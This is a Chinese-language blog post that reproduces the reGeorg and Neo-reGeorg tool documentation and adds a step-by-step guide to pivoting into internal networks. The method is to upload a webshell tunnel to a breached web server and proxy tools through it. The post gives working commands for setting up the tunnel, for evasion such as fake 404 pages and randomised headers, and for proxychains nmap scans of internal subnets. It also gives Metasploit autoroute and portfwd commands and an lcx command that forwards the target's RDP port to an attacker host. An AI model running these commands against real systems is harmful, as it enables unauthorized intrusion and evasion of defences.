Total Pageviews

Saturday 4 August 2018

socks proxy server程序-regeorg

Dependencies

reGeorg requires Python 2.7 and the following modules:
  • urllib3 - HTTP library with thread-safe connection pooling, file post, and more.

Usage

$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u  [-v]

Socks server for reGeorg HTTP(s) tunneller

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

  • Step 1. Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)
  • Step 2. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py
** Note, if you tools, such as NMap doesn't support socks proxies, use proxychains (see wiki)
  • Step 3. Hack the planet :)

Example

$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp 
 
from https://github.com/sensepost/reGeorg
-------
 
主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。
用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
它利用webshell建立一个socks代理进行内网穿透,
服务器必须支持aspx、php或jsp这些web程序中的一种。 
----------

Neo-reGeorg is a project that seeks to aggressively refactor reGeorg.

Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 解决 reGeorg 现存在的问题,修复部分小BUG

Features

  • 传输内容经过变形base64加密,伪装成base64编码
  • GET 请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 兼容python2 / python3

Version

1.1.0

Dependencies

Basic Usage

  • Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_server/tunnel.nosocket.php
       => neoreg_server/tunnel.js
       => neoreg_server/tunnel.php
       => neoreg_server/tunnel.ashx
       => neoreg_server/tunnel.aspx
       => neoreg_server/tunnel.tomcat.5.jsp
       => neoreg_server/tunnel.tomcat.5.jspx
       => neoreg_server/tunnel.jsp
       => neoreg_server/tunnel.jspx
  • Step 2. 使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [ERROR]
  Starting socks server [127.0.0.1:1080], tunnel at [http://k/tunnel.php]
+------------------------------------------------------------------------+
注意,如果你的工具,如NMap不支持socks代理,请使用 proxychains

Advanced Usage

  1. 支持生成的服务端,默认 GET 请求响应指定的页面内容 (如伪装的404页面)
$ python neoreg.py generate -k <you_password> --file 404.html
$ pytohn neoreg.py -k <you_password> -u <server_url> --skip
  1. 如服务端WEB,需要设置代理才能访问
$ pytohn neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需Authorization认证和定制的Header或Cookie
$ pytohn neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value"
  • 更多关于性能和稳定性的参数设置参考 -h 帮助信息
# 生成服务端脚本
$ python neoreg.py generate -h
    usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [--read-buff Bytes]

    Generate neoreg webshell

    optional arguments:
      -h, --help            show this help message and exit
      -k KEY, --key KEY     Specify connection key.
      -o DIR, --outdir DIR  Output directory.
      -f FILE, --file FILE  Camouflage html page file
      --read-buff Bytes     Remote read buffer.(default: 513)

# 连接服务端
$ python neoreg.py -h
    usage: neoreg.py [-h] -u URI -k KEY [-l IP] [-p PORT] [-s] [-H LINE] [-c LINE]
                     [-x LINE] [--read-buff Bytes] [--read-interval MS]
                     [--max-threads N] [-v]

    Socks server for Neoreg HTTP(s) tunneller

    optional arguments:
      -h, --help            show this help message and exit
      -u URI, --url URI     The url containing the tunnel script
      -k KEY, --key KEY     Specify connection key
      -l IP, --listen-on IP
                            The default listening address.(default: 127.0.0.1)
      -p PORT, --listen-port PORT
                            The default listening port.(default: 1080)
      -s, --skip            Skip usability testing
      -H LINE, --header LINE
                            Pass custom header LINE to server
      -c LINE, --cookie LINE
                            Custom cookies to server
      -x LINE, --proxy LINE
                            proto://host[:port] Use proxy on given port
      --read-buff Bytes     Local read buffer, max data to be sent per
                            POST.(default: 1024)
      --read-interval MS    Read data interval in milliseconds.(default: 100)
      --max-threads N       Proxy max threads.(default: 1000)
      -v                    Increase verbosity level (use -vv or more for greater
                            effect)
from https://github.com/L-codes/Neo-reGeorg
------------------------------------------------

这个可以说是用的比较多了,支持php|aspx|ashx|jsp,与上一个abptts类似,也是上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道:

1
python2 reGeorgSocksProxy.py -p 8080 -l 192.168.1.139 -u http://192.168.1.161:8001/tunnel.aspx

注:

  1. 对于aspx的网站假如总是报错,可以尝试ashx脚本
  2. PHP程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本
  3. linux下利用proxychains,Windows下利用proxifier实现任意应用通过代理
  4. 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口

剩下还有一些bridge、Reduh、Tunna等工具可以建立HTTP隧道,但是效果都不大好….

----------------------------------------------

reGeorg+Proxifier组合技能

reGeorg是reDuh的继承者,利用了会话层的socks5协议,而Proxifier是一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络能通过HTTPS或SOCKS代理或代理链。该文件下支持php,asp,jsp,aspx。

内网转发工具大体分为:端口转发工具(lcx.exe),Web代理脚本,Shell反弹脚本等。

reGeorg的出现,方便了安全测试代理进入内网,现在使用reGeorg和Proxifier,在安全测试过程中,可以利用他们的组合完成从外网到内网的通信。

正向代理和反向代理:

1.正向代理:正向代理类似一个跳板机,代理访问内部资源。

举个例子:我是一个用户,我访问不了某网站,但是我能访问一个代理服务器,这个代理服务器能访问那个我不能访问的网站,于是我先连上代理服务器,告诉他我需要那个无法访问网站的内容,代理服务器去取回来,然后返回给我。从网站的角度,只在代理服务器来取内容的时候有一次记录,有时候并不知道是用户的请求,也隐藏了用户的资料,这取决于代理告不告诉网站。

客户端必须设置正向代理服务器,前提是要知道正向代理服务器的IP地址,还有代理程序的端口。

总结:正向代理是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。

正向代理用途:

(1) 访问原来无法访问的资源,如Google,youtube

(2) 可以做缓存,加速访问资源。

(3) 对客户端访问授权,上网进行认证。

(4) 记录用户访问记录,管理上网行为,对外隐藏用户信息。

2.反向代理:

反向代理(Reverse Proxy)实际运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。

反向代理作用:

(1) 保证内网的安全,可以使用反向代理提供WAF功能,阻止web攻击大型网站,通常将反向代理作为公网访问地址,Web服务器是内网。

(2) 负载均衡,通过反向代理服务器来优化网站的负载

即是正向代理隐藏的是客户端,反向代理隐藏的是服务器端

内网渗透代理工具reGeorg+Proxifier工具利用场景:

目标环境:linux服务器受到防火墙的限制,防火墙DMZ区域映射外网端口80,外网只能通过80端口访问内网,内网只能返回http的流量,无法采用反向代理的形式。利用常规的lcx等反弹工具也会被各种安全软件拦截,只要一枚权限较低的webshell,尝试提权无果。

为什么需要内网穿透:一般来说,linux提权需要获取一个反弹回来的半交互式shell,内网穿透可以用来进一步内网渗透。

如何进行内网穿透:

(1) 反向代理:将内网的流量转发到外网

(2) 正向代理:以某台机器为跳板,做正向代理进行内网穿透

这里很明显,我们只能通过80端口访问目标机器。因此需要借助webshell搭建一个正向代理。

这个时候就需要一款内网代理和端口转发工具,穿越防火墙的阻挡直连内网

0x01 下载和配置reGeorg

由于reGeorg是用python2脚本编写,需要urllib3模块。

给出reGeorg的github下载地址:https://github.com/sensepost/reGeorg

使用reGeorg需要安装setuptools。

windows下载地址:https://pypi.org/project/setuptools/#windows-simplified

linux下载地址:https://bootstrap.pypa.io/ez_setup.py

下载完成后将setuptools复制到python2.7版本安装目录下,打开cmd,依次运行:

py -2 setup.py build
py -2 setup.py install

使用pip直接安装urllib3:

py -2 -m pip install urllib3

至此reGeorg的基本使用环境已经配置完成…

验证reGeorg是否可以正常运行:

py -2 reGeorg SocksProxy.py -h

成功。至此reGeorg安装完成。

0x02 reGeorg的使用

将reGeorg对应的脚本上传到服务器端,reGeorg提供了php,aspx,jsp脚本

直接访问上传的脚本文件,出现 Georg says, ‘All seems fine’ ,表示脚本运行正常。

运行reGerog监听9999端口:

py -2 reGeorgSocksProxy.py -p 9999 -u http://ip/tunnel.nosocket.php

由于是基于socks5,本地还需要一个socks5代理工具,比如proxifier,proxycap…这里用proxifier为例,首先对proxifier进行配置。

proxifier注意事项:

1.direct表示不使用socks5代理,直接请求;block表示阻断请求;proxy socks5表示使用socks5代理服务。

2.默认不使用proxy socks5,仅对需要的程序使用socks5代理服务。

配置完成后,访问内网地址:

以上是windows的操作。

下面介绍在Linux中使用reGerog+proxychains。

proxychains是kali里面自带的,这里也给出github地址:https://github.com/haad/proxychains

不过对于reGerog的安装参照windows安装方法,setuptools也需要安装,安装完毕上传tunnel.nosocket.php脚本,尝试建立socks5代理链接:

python ReGeorgSocKsProxy.py -p 9999 -u http://ip/tunnel.nosocket.php

proxychains安装完毕后需要修改 /etc/proxychains.conf 最后一行:

socks4那一行修改为以下
socks5 127.0.0.1 9999

至此,利用proxychains进行socks5代理完成

通过建立sock5隧道,这样本地的kali和web服务器处于同一个环境。

使用方法:

proxychains <运行的命令> <命令参数>

只要在需要代理的命令前面加上proxychains即可
eg:proxychains firefox 可以使用firefox浏览器远程访问内网服务器
   proxychains nmap -T4 -A 10.8.0.0/24 扫描内网开放端口

关于proxychains的实战利用请看:https://www.cnblogs.com/adislj777/p/6980365.html

不过这样比较慢,现在一般使用msf+proxychains,不过前提是我们获取了一个弹回来的shell,有了shell以后,

就进行内网代理:

run get_local_subnets 查看目标主机路由信息
run autoroute -s 192.168.100.0/22 添加路由(在 -s 前加-d是删除路由)

设置好之后就使用socks5辅助模块

再配置proxychains.conf 末尾修改成socks5 127.0.0.1 9999就大功告成了,

扫描内网端口:

proxychains nmap -sT -Pn –open 192.168.100.1/22

**注意:**由于proxychains无法代理icmp的数据包 所以必须添加-Pn参数 即不检测主机是否存活 直接进行端口tcp扫描

补充:

其实也可以直接使用msf的辅助模块进行扫描

auxiliary/scanner/portscan  端口扫描
scanner/portscan/syn  SYN端口扫描
scanner/portscan/tcp  TCP端口扫描

对端口转发的补充

meterpreter也可以实现端口转发

meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306

lcx端口转发

攻击机
lcx -listen 2222 3333 # 2222为转发端口,3333为本机任意未被占用的端口
目标主机
lcx -slave 110.1.1.1 2222 127.0.0.1 3389

另外还有很多使用socks进行内网漫游的方法,这里不在一一细说,具体看大佬博客:

https://www.anquanke.com/post/id/85494

https://blog.csdn.net/Fly_hps/article/details/80634746